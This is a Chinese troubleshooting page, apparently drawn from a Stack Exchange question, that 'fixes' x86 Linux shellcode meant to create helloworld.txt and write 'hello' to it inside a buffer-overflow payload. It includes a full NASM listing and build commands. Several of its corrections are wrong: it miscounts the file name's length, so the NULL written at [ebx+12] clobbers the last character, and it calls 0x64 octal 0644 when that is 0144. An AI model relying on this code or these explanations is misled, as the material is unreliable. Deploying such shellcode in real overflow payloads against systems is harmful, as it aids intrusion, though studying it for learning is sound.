x86汇编缓冲区溢出后写入文件的Shellcode故障排查
问题排查与修复:写入文件的x86 Shellcode
原Shellcode的核心错误点
- 寄存器操作不完整:
mov ebx指令缺少源操作数,无法正确获取文件名地址;应使用pop ebx(call after_jump会将string_open的地址压入栈中,跳转后直接pop即可拿到文件名指针)。 - 文件名截断错误:原代码中试图通过
mov [ebx+6], dl给文件名加NULL终止符,但helloworld.txt实际长度为13字节,该操作会将文件名截断为hellowor,正确位置应为[ebx+12](字符串索引从0开始)。 - Open系统调用参数缺失:调用
open并使用O_CREAT标志时,必须指定文件权限(第三个参数edx),否则会导致文件创建失败或权限异常,应设置为0x64(对应八进制0644,普通文件读写权限)。 - Write系统调用参数错误:
mov [ebx+9], dl属于无效操作,此时ebx是open返回的文件描述符(整数),并非字符串地址;且write不需要字符串以NULL结尾,可直接删除该指令。mov edx, 0x09错误设置了写入长度,hello仅5字节,应改为0x5。
修复后的Shellcode汇编代码
global _start _start: shellcode: jmp before_string after_jump: pop ebx ; 获取"helloworld.txt"的内存地址 xor ecx, ecx ; 清空ecx寄存器 xor eax, eax ; 清空eax寄存器 xor edx, edx ; 清空edx寄存器 mov al, 0x05 ; 加载open系统调用号(0x05) mov cl, 0x41 ; 设置打开模式:O_WRONLY(0x1) | O_CREAT(0x40) mov dl, 0x64 ; 设置文件权限为0644(八进制) mov [ebx+12], dl ; 在文件名末尾添加NULL终止符 int 0x80 ; 触发系统调用,返回的文件描述符存入eax mov ebx, eax ; 将文件描述符移至ebx(write的第一个参数) jmp before_write after_jump_write: pop ecx ; 获取"hello"字符串的内存地址 xor edx, edx ; 清空edx寄存器 xor eax, eax ; 清空eax寄存器 mov dl, 0x5 ; 设置写入长度为5字节("hello"的长度) mov al, 0x04 ; 加载write系统调用号(0x04) int 0x80 ; 触发系统调用,写入内容到文件 xor eax, eax mov al, 0x1 ; 加载exit系统调用号(0x01) int 0x80 ; 正常退出程序 before_string: call after_jump string_open: db "helloworld.txt" before_write: call after_jump_write string_write: db "hello"
额外注意事项
- 编译与提取机器码:需生成位置无关的32位代码,使用以下命令:
从输出中提取机器码,确保无NULL字节(避免nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode objdump -d shellcode | grep -A20 _start:strcpy截断)。 - 单独验证功能:先单独运行编译后的Shellcode,确认文件能正常创建并写入内容,再嵌入到缓冲区溢出的payload中。
内容的提问来源于stack exchange,提问作者Itay Etelis
相关产品推荐
相关产品推荐

